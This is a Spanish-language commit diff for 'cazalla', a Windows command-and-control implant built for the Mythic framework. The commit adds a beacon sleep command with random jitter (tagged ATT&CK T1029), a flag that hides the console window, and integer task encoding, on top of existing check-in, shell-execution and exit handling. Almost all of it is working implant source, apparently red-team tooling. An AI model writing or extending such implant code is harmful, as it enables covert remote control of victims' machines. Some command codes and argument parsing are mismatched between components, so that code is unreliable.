v0.4: funcion de sleep y pequeñas mejoras
This commit is contained in:
@@ -1,7 +1,7 @@
|
|||||||
# Compiler
|
# Compiler
|
||||||
CC = x86_64-w64-mingw32-gcc
|
CC = x86_64-w64-mingw32-gcc
|
||||||
CFLAGS = -Wall -w -s -IInclude
|
CFLAGS = -Wall -w -s -IInclude
|
||||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp
|
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
|
||||||
DFLAGS = -D_DEBUG
|
DFLAGS = -D_DEBUG
|
||||||
|
|
||||||
# Directories
|
# Directories
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ VOID cazallaMain() {
|
|||||||
cazallaConfig->SSL = ssl;
|
cazallaConfig->SSL = ssl;
|
||||||
cazallaConfig->proxyHabilitado = proxyenabled;
|
cazallaConfig->proxyHabilitado = proxyenabled;
|
||||||
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
||||||
cazallaConfig->tiempoSleep = sleep_time;
|
cazallaConfig->tiempoSleep = sleep_time * 1000;
|
||||||
|
|
||||||
PAnalizador respuestaAnalizador = checkin();
|
PAnalizador respuestaAnalizador = checkin();
|
||||||
|
|
||||||
@@ -26,9 +26,11 @@ VOID cazallaMain() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
parseChecking(respuestaAnalizador);
|
parseChecking(respuestaAnalizador);
|
||||||
while (TRUE)
|
|
||||||
|
while (TRUE){
|
||||||
rutina();
|
rutina();
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
VOID setUUID(PCHAR newUUID) {
|
VOID setUUID(PCHAR newUUID) {
|
||||||
cazallaConfig->idAgente = newUUID;
|
cazallaConfig->idAgente = newUUID;
|
||||||
|
|||||||
@@ -20,6 +20,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
}
|
}
|
||||||
else if (tarea == EXIT_CMD) {
|
else if (tarea == EXIT_CMD) {
|
||||||
cerrarCallback(analizadorTarea);
|
cerrarCallback(analizadorTarea);
|
||||||
|
}else if(tarea == SLEEP_CMD){
|
||||||
|
sleep(analizadorTarea);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,6 +7,7 @@
|
|||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "consola.h"
|
#include "consola.h"
|
||||||
#include "cerrarCallback.h"
|
#include "cerrarCallback.h"
|
||||||
|
#include "sleep.h"
|
||||||
|
|
||||||
#define SHELL_CMD 0x54
|
#define SHELL_CMD 0x54
|
||||||
#define GET_TASKING 0x00
|
#define GET_TASKING 0x00
|
||||||
@@ -16,6 +17,8 @@
|
|||||||
#define NUMBER_OF_TASKS 1
|
#define NUMBER_OF_TASKS 1
|
||||||
|
|
||||||
#define EXIT_CMD 0x80
|
#define EXIT_CMD 0x80
|
||||||
|
#define SLEEP_CMD 0x38
|
||||||
|
|
||||||
|
|
||||||
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||||
BOOL rutina();
|
BOOL rutina();
|
||||||
|
|||||||
@@ -0,0 +1,45 @@
|
|||||||
|
#include "sleep.h"
|
||||||
|
#include "cazalla.h"
|
||||||
|
|
||||||
|
BOOL sleep(PAnalizador argumentos) {
|
||||||
|
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
UINT32 tiempoSleep = getInt32(argumentos);
|
||||||
|
UINT32 maxVarianza = getInt32(argumentos);
|
||||||
|
|
||||||
|
if (maxVarianza < 1) {
|
||||||
|
maxVarianza = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
const int minVarianza = 1;
|
||||||
|
const int rangoVarianza = maxVarianza / 2;
|
||||||
|
|
||||||
|
int aleatorio = aleatorioInt32(0, rangoVarianza);
|
||||||
|
|
||||||
|
tiempoSleep += aleatorio;
|
||||||
|
|
||||||
|
|
||||||
|
if (tiempoSleep < minVarianza) {
|
||||||
|
tiempoSleep = minVarianza;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (cazallaConfig == NULL) {
|
||||||
|
_err("Error: cazallaConfig no ha sido inicializado.\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
|
||||||
|
tiempoSleep = tiempoSleep * 1000;
|
||||||
|
cazallaConfig->tiempoSleep = tiempoSleep;
|
||||||
|
|
||||||
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
|
addInt32(respuestaTarea, tiempoSleep);
|
||||||
|
mandarPaquete(respuestaTarea);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef SLEEP_H
|
||||||
|
#define SLEEP_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include "paquete.h"
|
||||||
|
#include "analizador.h"
|
||||||
|
#include "comandos.h"
|
||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
BOOL sleep(PAnalizador argumentos);
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -9,7 +9,6 @@ int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
|||||||
|
|
||||||
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||||
|
|
||||||
|
|
||||||
size_t b64tamanoCodificado(size_t inlen) {
|
size_t b64tamanoCodificado(size_t inlen) {
|
||||||
|
|
||||||
size_t ret;
|
size_t ret;
|
||||||
@@ -23,6 +22,12 @@ size_t b64tamanoCodificado(size_t inlen) {
|
|||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
int aleatorioInt32(int min, int max){
|
||||||
|
|
||||||
|
return (rand() % (max - min + 1)) + min;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
||||||
|
|
||||||
char* out;
|
char* out;
|
||||||
|
|||||||
@@ -2,6 +2,8 @@
|
|||||||
#ifndef UTILS
|
#ifndef UTILS
|
||||||
#define UTILS
|
#define UTILS
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
#include "debug.h"
|
#include "debug.h"
|
||||||
|
|
||||||
|
|
||||||
@@ -18,7 +20,7 @@ SIZE_T b64tamanoDecodificado(const char* in);
|
|||||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
|
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
|
||||||
char* b64Codificado(const unsigned char* in, SIZE_T len);
|
char* b64Codificado(const unsigned char* in, SIZE_T len);
|
||||||
size_t b64tamanoCodificado(size_t inlen);
|
size_t b64tamanoCodificado(size_t inlen);
|
||||||
|
int aleatorioInt32(int min, int max);
|
||||||
|
|
||||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
|
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
|
||||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
|
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
|
||||||
|
|||||||
@@ -17,20 +17,21 @@ class ExitCommand(CommandBase):
|
|||||||
cmd = "exit"
|
cmd = "exit"
|
||||||
needs_admin = False
|
needs_admin = False
|
||||||
help_cmd = "exit"
|
help_cmd = "exit"
|
||||||
description = "Salir del Callback"
|
description = "Task para cerrar el proceso del implante"
|
||||||
version = 1
|
version = 1
|
||||||
supported_ui_features = ["callback_table:exit"]
|
supported_ui_features = ["callback_table:exit"]
|
||||||
author = "Kaseya OFSTeam"
|
author = "Kaseya OFSTeam"
|
||||||
argument_class = ExitArguments
|
argument_class = ExitArguments
|
||||||
attributes = CommandAttributes(
|
|
||||||
builtin=True,
|
|
||||||
supported_os=[ SupportedOS.Windows ],
|
|
||||||
suggested_command=True
|
|
||||||
)
|
|
||||||
attackmapping = []
|
attackmapping = []
|
||||||
|
|
||||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
return task
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
type = taskData.args.get_arg("type")
|
||||||
|
response.DisplayParams = type
|
||||||
|
return response
|
||||||
|
|
||||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
|||||||
@@ -0,0 +1,83 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logging.basicConfig(level=logging.INFO)
|
||||||
|
|
||||||
|
|
||||||
|
class SleepArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="seconds",
|
||||||
|
type=ParameterType.Number,
|
||||||
|
description="Sleep en segundos",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=True,
|
||||||
|
ui_position=1
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
CommandParameter(
|
||||||
|
name="jitter",
|
||||||
|
type=ParameterType.Number,
|
||||||
|
description="Porcentaje del jitter en segundos",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=False,
|
||||||
|
ui_position=2
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
logging.info(f"parse_arguments : {self.command_line}")
|
||||||
|
|
||||||
|
if len(self.command_line) == 0:
|
||||||
|
raise ValueError("Must supply a command to run")
|
||||||
|
self.add_arg("command", self.command_line)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
logging.info(f"parse_dictionary : {dictionary_arguments}")
|
||||||
|
|
||||||
|
seconds = dictionary_arguments.get("seconds")
|
||||||
|
jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary
|
||||||
|
|
||||||
|
if seconds is None:
|
||||||
|
raise ValueError("The 'seconds' key is required in the dictionary.")
|
||||||
|
if not isinstance(seconds, int) or seconds < 0:
|
||||||
|
raise ValueError("The 'seconds' value must be a non-negative integer.")
|
||||||
|
|
||||||
|
# Explicitly map parsed dictionary values to parameters
|
||||||
|
self.add_arg("seconds", seconds)
|
||||||
|
self.add_arg("jitter", jitter)
|
||||||
|
|
||||||
|
|
||||||
|
class SleepCommand(CommandBase):
|
||||||
|
cmd = "sleep"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "sleep <segundos> [jitter]"
|
||||||
|
description = "Cambiar el sleep."
|
||||||
|
version = 1
|
||||||
|
author = "Kaseya OFSTeam"
|
||||||
|
attackmapping = ["T1029"]
|
||||||
|
argument_class = SleepArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
builtin=True,
|
||||||
|
supported_os=[ SupportedOS.Windows ],
|
||||||
|
suggested_command=False
|
||||||
|
)
|
||||||
|
|
||||||
|
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
# task.display_params = task.args.get_arg("command")
|
||||||
|
# return task
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -6,7 +6,8 @@ commands = {
|
|||||||
"checkin": {"hex_code": 0xf1, "input_type": None},
|
"checkin": {"hex_code": 0xf1, "input_type": None},
|
||||||
"post_response": {"hex_code": 0x01, "input_type": None},
|
"post_response": {"hex_code": 0x01, "input_type": None},
|
||||||
"shell": {"hex_code": 0x54, "input_type": "string"},
|
"shell": {"hex_code": 0x54, "input_type": "string"},
|
||||||
"exit": {"hex_code": 0x08, "input_type":None}
|
"exit": {"hex_code": 0x08, "input_type":None},
|
||||||
|
"sleep": {"hex_code":0x38, "input_type":"int"}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -35,7 +36,17 @@ def responseTasking(tasks):
|
|||||||
dataTask += len(data).to_bytes(4, "big") + data
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
|
|
||||||
elif commands[command_to_run]["input_type"] == "int":
|
elif commands[command_to_run]["input_type"] == "int":
|
||||||
print("Unsupported type (for now...)")
|
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
||||||
|
data += task["id"].encode()
|
||||||
|
|
||||||
|
if task["parameters"] != "":
|
||||||
|
parameters = json.loads(task["parameters"])
|
||||||
|
data += len(parameters).to_bytes(4, "big")
|
||||||
|
for param in parameters:
|
||||||
|
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
|
||||||
|
else:
|
||||||
|
data += b"\x00\x00\x00\x00"
|
||||||
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
|
|
||||||
dataToSend = dataHead + dataTask
|
dataToSend = dataHead + dataTask
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user